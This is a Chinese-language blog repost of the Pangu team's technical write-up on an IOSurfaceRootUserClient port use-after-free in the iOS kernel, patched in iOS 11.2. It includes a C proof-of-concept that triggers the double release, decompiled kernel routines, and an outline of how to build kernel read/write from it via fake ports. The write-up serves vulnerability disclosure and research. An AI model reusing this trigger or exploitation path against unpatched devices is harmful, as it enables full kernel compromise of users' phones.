盤古:iOS 11.2修補隱藏很久的IOSurface內核UAF越獄漏洞

盤古越獄團隊已經很長一段時間不在推出越獄工具,蘋果在前幾天緊急推出iOS 11.2 正式版本後,盤古突然對外界公布iOS 11.2已經修補了一個沙盒內可直接用的內核UAF越獄漏洞,該漏洞是去年就已經發現,主要是要用來研究環境中使用該漏洞對iOS設備進行越獄,不過到現在才發現該漏洞已經被修補。

盤古iOS 11.2修補隱藏很久的IOSurface內核UAF越獄漏洞

該漏洞是存在IOSurfaceRootUserClient類的調用中,能造成一個典型port UAF類型的漏洞,可任意創建一個port,而進一步達成越獄,不過盤古似乎還留有一手,沒將這寶貴的漏洞回報給蘋果,而用了相當久一段時間,就是為了在安全大會活動中展示他們可替最新iOS 11越獄,不過從盤古的總結看來,估計這漏洞是被其它安全研究者或團隊給挖掘,導致在iOS 11.2上被修補。

至於該漏洞被修補後,盤古也沒有公開表示會將越獄工具免費釋出,而是透過一篇技術文章解說他們是如何去觸發漏洞,這對於想研究越獄工具的開發者相信會有相當大的參考價值。

IOSurfaceRootUserClient端口UAF

底下轉自盤古原文(連結

蘋果前天發布了iOS 11.2版本(安全更新細節尚未公佈),經測試發現此次更新修復了一個沙盒內可以直接利用的內核漏洞。我們團隊在去年發現該漏洞,並一直在內部的研究環境中使用該漏洞對手機進行越獄。漏洞存在於IOSurfaceRootUserClient類的調用方法中,可以導致port的UAF。首先我們給出該漏洞觸發的POC:

// open user client
CFMutableDictionaryRef matching = IOServiceMatching("IOSurfaceRoot");
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
io_connect_t connect = 0;
IOServiceOpen(service, mach_task_self(), 0, &connect);

// add notification port with same refcon multiple times
mach_port_t port = 0;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
uint64_t references;
uint64_t input[3] = {0};
input[1] = 1234;  // keep refcon the same value
for (int i=0; i<3; i++)
{
    IOConnectCallAsyncStructMethod(connect, 17, port, &references, 1, input, sizeof(input), NULL, NULL);
}
IOServiceClose(connect);

通過POC代碼可以看到漏洞存在於17號調用函數,定位後對其進行逆向分析。該函數會將傳入的port、callback、refcon等數據保存起來,以供需要向用戶態發送消息時使用。傳入的數據大小是0x18,前兩個64位數據分別是callback地址和refcon的值。

值得注意的是在保存數據前會首先檢查相同的refcon是否已經存在,如果存在則認為已經添加過了,會調用releaseAsyncReference64函數釋放reference,從而調用iokit_release_port_send釋放我們傳入的port,並且返回0xE00002C9號錯誤。

  if ( !a3->asyncReference )
    return 0xE00002C2LL;
  input = (__int64)a3->structureInput;
  reference = (__int64)a3->asyncReference;
  v6 = *(_QWORD *)(a1 + 224);
  v7 = 0xE00002BDLL;
  IORecursiveLockLock_53(*(_QWORD *)(v6 + 264));
  v8 = *(_QWORD *)(v6 + 344);
  if ( v8 )
  {
    // 检查相同refcon的数据是否已经存在
    while ( *(_QWORD *)(v8 + 32) != *(_QWORD *)(input + 8) || *(_QWORD *)(v8 + 88) != a1 )
    {
      v8 = *(_QWORD *)v8;
      if ( !v8 )
        goto LABEL_8;
    }
    IOUserClient::releaseAsyncReference64(reference);
    v7 = 0xE00002C9LL;
  }
  else
  {
    // 分配内存并通过setAsyncReference64初始化,保存port/callback/refcon
LABEL_8:
    v9 = IOMalloc_53(96LL);
    v10 = v9;
    if ( v9 )
    {
      v11 = v6 + 344;
      memset_53((void *)v9, 0, 0x60uLL);
      IOUserClient::setAsyncReference64(v10 + 16, *(_QWORD *)reference, *(_QWORD *)input, *(_QWORD *)(input + 8));
      *(_QWORD *)(v10 + 88) = a1;
      *(_QWORD *)(v10 + 80) = *(_QWORD *)(input + 16);
      v12 = *(_QWORD *)(v6 + 344);
      *(_QWORD *)v10 = *(_QWORD *)(v6 + 344);
      if ( v12 )
        *(_QWORD *)(v12 + 8) = v10;
      else
        *(_QWORD *)(v6 + 352) = v10;
      v7 = 0LL;
      *(_QWORD *)v11 = v10;
      *(_QWORD *)(v10 + 8) = v11;
    }
  }
  IORecursiveLockUnlock_53(*(_QWORD *)(v6 + 264));
  return v7;
}

如果只是單純分析該函數的行為,並不存在明顯的問題,因此需要結合整個代碼路徑來看。我們知道IOKit是MIG的子系統,因此用戶態最終封裝一個message後通過mach_msg發送給內核處理並接受返回消息。而通過mach_msg傳輸一個port,需要發送complex的消息,內核則在copyin消息的時候會把port name翻譯成對應的port地址,並增加一個引用。

隨後把消息交給ipc_kobject_server處理,觀察ipc_kobject_server函數的分發處理:

  /*
   * Find the routine to call, and call it
   * to perform the kernel function
   */
  ipc_kmsg_trace_send(request, option);
  {
    ...

    // 调用真正的处理函数,返回结果设置在reply消息内
    (*ptr->routine)(request->ikm_header, reply->ikm_header);

    ...
  }

  // 如果返回的是简单消息,kr被设置为处理函数的返回值
  if (!(reply->ikm_header->msgh_bits & MACH_MSGH_BITS_COMPLEX) &&
     ((mig_reply_error_t *) reply->ikm_header)->RetCode != KERN_SUCCESS)
    kr = ((mig_reply_error_t *) reply->ikm_header)->RetCode;
  else
    kr = KERN_SUCCESS;

  if ((kr == KERN_SUCCESS) || (kr == MIG_NO_REPLY)) {
    /*
     *  The server function is responsible for the contents
     *  of the message.  The reply port right is moved
     *  to the reply message, and we have deallocated
     *  the destination port right, so we just need
     *  to free the kmsg.
     */
    // 如果返回成功则简单释放传入消息的内存
    ipc_kmsg_free(request);

  } else {
    /*
     *  The message contents of the request are intact.
     *  Destroy everthing except the reply port right,
     *  which is needed in the reply message.
     */
    // 如果返回错误,则释放传入消息相关的数据(包含port)
    request->ikm_header->msgh_local_port = MACH_PORT_NULL;
    ipc_kmsg_destroy(request);
  }

可以看到如果UserClient的處理函數返回錯誤,那麼上層會調用ipc_kmsg_destroy->ipc_kmsg_clean->ipc_kmsg_clean_body最終釋放傳入的port和ool內存。

此時我們再看IOSurfaceRootUserClient的17號調用,當它返回錯誤的時候,認為應該由自己去釋放這個port而沒有考慮到上層的清理代碼,導致這個port會被額外釋放一次。

利用思路

這是一個典型的port UAF類型的漏洞。我們可以任意創建一個port,通過17號調用釋放該port,同時保留用戶態的port name指向已經被釋放的port地址。典型的利用思路是通過cross zone attack來填充一個虛假的port:

  • 用ool ports來填充,我們可以讀取一個port的的真實地址,導致堆地址洩露
  • 用fake clock port來填充,可以猜測內核的基地址
  • 用fake task port來填充,可以實現任意內核讀取
  • 用真實的kernel task port來填充,可以直接獲取內核port,實現任意內核讀寫

緩解措施

  • iOS 10.3以後增加了對kernel task port的保護,不過該保護僅僅比較port指向的task是否等於kernel_task,並未對裡面的內容進行校驗
  • iOS 11以後移除了mach_zone_force_gc的接口來阻止cross zone attack,需要有別的途徑能夠觸發gc

固定

iOS 11.2中檢測到要註冊的refcon已經存在後也不會調用releaseAsyncReference64去釋放port了。

喜歡這篇文章教學,後續想了解更多Apple資訊、iPhone、Mac、3C隱藏技巧,歡迎追蹤 瘋先生FB粉絲團瘋先生LINE@訂閱瘋先生Google新聞TelegramInstagram以及 訂閱YouTube頻道,將會有更多非常實用的技巧教學分享給大家。

返回頂端
Share to...